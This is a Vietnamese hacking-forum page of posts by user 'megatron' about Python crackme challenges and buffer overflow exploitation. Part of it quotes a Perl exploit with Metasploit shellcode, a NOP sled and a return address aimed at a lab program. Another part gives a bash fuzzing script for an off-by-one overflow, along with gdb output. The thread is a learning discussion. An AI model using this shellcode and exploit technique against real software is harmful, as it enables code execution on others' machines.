banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: megatron  XML
Profile for megatron Messages posted by megatron [ number of posts not being displayed on this page: 0 ]
 
Ok, bác 0xdie chơi thử cái crackme2 của tui
http://rapidshare.com/files/170051714/crackme2.pyc.html
Nó cũng tương tự cái crackme1 thôi smilie

0xdie wrote:
Việc gì phải patch với recompile cho mệt vậy smilie. Bật notepad lên gõ vào mà bạn cũng không làm được? Còn nếu sợ cái \n đó thì dùng hex editor mà xóa. Riêng tôi chỉ dùng notepad là đủ smilie 

Ôi má ơi, lâu ko xài nên quên thằng notepad smilie. Tại trước giờ mình cứ xài
echo text >keys
Sorry bác smilie
Xin phép bác 0xdie trình bày phương pháp tạo file keys bằng tay để tránh \n ở cuối dòng (Phải create bằng tay nha) smilie, Tui nghi ngờ bác patch hoặc là re-compiler lại cái crackme1 của tui smilie
@0xdie: Chà, tại mình chưa test trên windows. Vì nếu tại bằng tay thì có khó khăn ở chỗ nó tự thêm vào có cái kí tự xuống dòng \n (0x0A) ở cuối chuỗi, mà nhập 0x0a trên agrv[] là một vấn đề. Mẹo ở chỗ đó thôi smilie. Để mình test trên windows thử.
blue moon có con robot tự post bài coi bộ lợi hại nhỉ? Đề nghị bác quanlytruong thêm captcha vào để con robot khỏi post smilie (/jk)
@0xdie: Bồ tạo file keys bằng tay hay viết một script để generate ra?
@0xdie: decompiler chưa xong đâu bạn smilie, cái quan trọng là tạo file keys như thế nào và input như thế nào để nó ra good boy (dễ thôi) smilie
Nếu có thể bạn phân tích cơ chế tụi http://www.depython.net/ nó decompiler như thế nào nhé?
Chào các bạn,
Ngồi buồn code cái crackme viết bằng python, bạn nào có hứng thú thì solve thử.
Độ khó 1,5/ 10: smilie
rules: No patching.
Link download
http://rapidshare.com/files/169781625/crackme1.pyc.html
/m3g4tr0n

Mr.Khoai wrote:
megatron,

Cái NOP phía sau shellcode có lẽ là để 'padd' cái shellcode cho đúng size + bảo vệ cái shellcode khi sử dụng stack. khoai có bị vài lần: buffer khá nhỏ, nhưng vì không để ý nên để NOP sled phía trước hơi nhiều. Kết quả, sau vài cú push là stack overwrite cái shellcode, dẫn đến bị illegal instruciton.
khoai 

Mr.Khoai,
Thêm NOP sled vào để fill đúng cái size thì ko nói, nhưng mà ko hiểu ý của Khoai "bảo vệ shellcode" là sao? stack PUSH hay POP trong trường hợp này đâu có dính dáng gì đến buffer. Khoai có thể viết ra cái case study mà Khoai đã gặp đc ko?

khoai cũng không hiểu cái return address. $return_address = "\x68\xff\x12\x00" có nghĩa là address sẽ là 0x0012ff68? Nhưng nếu bỏ 00 ở phía sau thì return address (đủ 4bytes) sẽ là 0x12ff6800. Anh seamoun giải thích thêm cái này dùm em.
 

Địa chỉ là 4byte. Do cái $return_address của Semoun trong trường hợp này là 0x12ff68 chỉ có 3 byte (qui ước ngầm viết tắt của 0x0012ff68) chứ nếu địa chỉ là 0x12ff6800 thì nhất định NULL byte phải hiển thị tường minh chứ ko đựoc viết tắt theo kiểu 0x12ff68 smilie. Mà nếu cái $ret_address mà là 0x12ff6800 thì khi viết lại trong PAYLOAD là
NOP...NOP.....SHELLCODE....NOP...NOP...\x00\x12\xff\xbf thì khi strcpy sẽ thất bại smilie.

Có một vài câu hỏi muốn trao đổi với bạn Seamoun:
1. Bài này là "Tìm hiểu lỗi Buffer Overflow trên Windows" nhưng cái bạn minh họa là vùng nhớ của một process trên Linux
2.
Code:
# win32_exec - EXITFUNC=thread CMD=calc.exe Size=164 Encoder=PexFnstenvSub
#http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xb6".
"\x9d\x6d\xaf\x83\xeb\xfc\xe2\xf4\x4a\x75\x29\xaf\xb6\x9d\xe6\xea".
"\x8a\x16\x11\xaa\xce\x9c\x82\x24\xf9\x85\xe6\xf0\x96\x9c\x86\xe6".
"\x3d\xa9\xe6\xae\x58\xac\xad\x36\x1a\x19\xad\xdb\xb1\x5c\xa7\xa2".
"\xb7\x5f\x86\x5b\x8d\xc9\x49\xab\xc3\x78\xe6\xf0\x92\x9c\x86\xc9".
"\x3d\x91\x26\x24\xe9\x81\x6c\x44\x3d\x81\xe6\xae\x5d\x14\x31\x8b".
"\xb2\x5e\x5c\x6f\xd2\x16\x2d\x9f\x33\x5d\x15\xa3\x3d\xdd\x61\x24".
"\xc6\x81\xc0\x24\xde\x95\x86\xa6\x3d\x1d\xdd\xaf\xb6\x9d\xe6\xc7".
"\x8a\xc2\x5c\x59\xd6\xcb\xe4\x57\x35\x5d\x16\xff\xde\x72\xa3\x4f".
"\xd6\xf5\xf5\x51\x3c\x93\x3a\x50\x51\xfe\x0c\xc3\xd5\xb3\x08\xd7".
"\xd3\x9d\x6d\xaf";
# Từ địa chỉ 0x12ff68-0x198(408 bytes)
my $return_address = "\x68\xFF\x12\x00";
my $nop_before = "\x90" x 24;
my $nop_after = "\x90" x 216;
my $payload = $nop_before.$shellcode.$nop_after.$return_address;
exec 'vul',$payload

--------> Mình ko hiểu tại sao bạn nhét thêm khúc $nop_after trong payload đằng sau shellcode làm gì? Nó đâu có tác dụng "trượt" về shellcode nếu chẳng may $return_address trỏ về nó ??

Thêm nữa
Code:
my $return_address = "\x68\xFF\x12\x00";

----> theo mình nên bỏ cái \x00 đằng sau đi thành
Code:
my $return_address = "\x68\xFF\x12"

vi strcpy gặp nó coi nó như terminate của chuỗi nên ko có tác dùng gì.
hi all,
challenge này của mrro khá thú vị. Nói thiệt là trước giờ exploit bof rất ngại khi đụng vào "off-by-one" hay đại loại là "frame pointer overfow" gì đấy. Vẽ minh họa stack để exploit thì dễ, nhưng làm sao cho cái input để khớp vào esp khi RET lại là cả một vấn đề (hay tại tui chuối smilie).
Vế nguyên tắc như bạn mrkhoai giải thích, overflow đc byte cuối của EBP trong function doit, nó sẽ ảnh hưởng đến main khi epilog của main thực thi. Bản thân EBP trong doit được gọi là save old frame pointer (frame pointer của main).
Code:
epilog của main:
0x0804840c <main+78>: leave
0x0804840d <main+79>: ret

Code:
leave =
mov %ebp(overwrite 1 byte), %esp
pop ebp
//-->%esp = %esp + 4
ret=
pop %esp
jmp [%esp]

Vì vậy việc cần làm là tính toán sau cho cái địa chỉ destination của
strcpy((char *)((int)&str - 16), str) trong doit trỏ đúng vào cái %esp của main khi RET.

Tui lười quá, code tạm một đoạn tạm gọi là off-by-one fuzzing

$cat off-by-one.sh
#!/bin/bash
LIMIT=600
TEST1="run \`python -c 'print \"A\"*"
TEST2="'\`"

for ((i=9; i<=LIMIT; i++))
do
echo $TEST1$i$TEST2 >>list
echo "if \$eip == 0x41414141" >>list
echo " echo AHHHHHHHHHHHHHHHHHHH! Goodjob! Magic input="$i >>list
echo " quit" >>list
echo "end" >>list
done
exit
 


đoạn script trên tạo ra một file "list" có nội dung đại loại như sau:

..........snip snip.........
run `python -c 'print "A"*9'`
if $eip == 0x41414141
echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=9
end
run `python -c 'print "A"*10'`
if $eip == 0x41414141
echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=10
end
...........snip snip........
 



Sau đó vào gdb chạy
gdb ./exploitme 1
source list
............
Program received signal SIGILL, Illegal instruction.
0xbffff61a in ?? ()
AAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=236
The program is running. Exit anyway? (y or n) [answered Y; input not from terminal]
meg4tr0n@h4x0r:~/test$

 

cho đến khi thấy nó hiện ra dòng goodjob thì dừng lại.
Máy tui input là 236 byte sẽ overwrite đc EIP, ko biết máy các bác sao (đã disable ASLR)
Tạm thời là thế.
/megatron
 

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|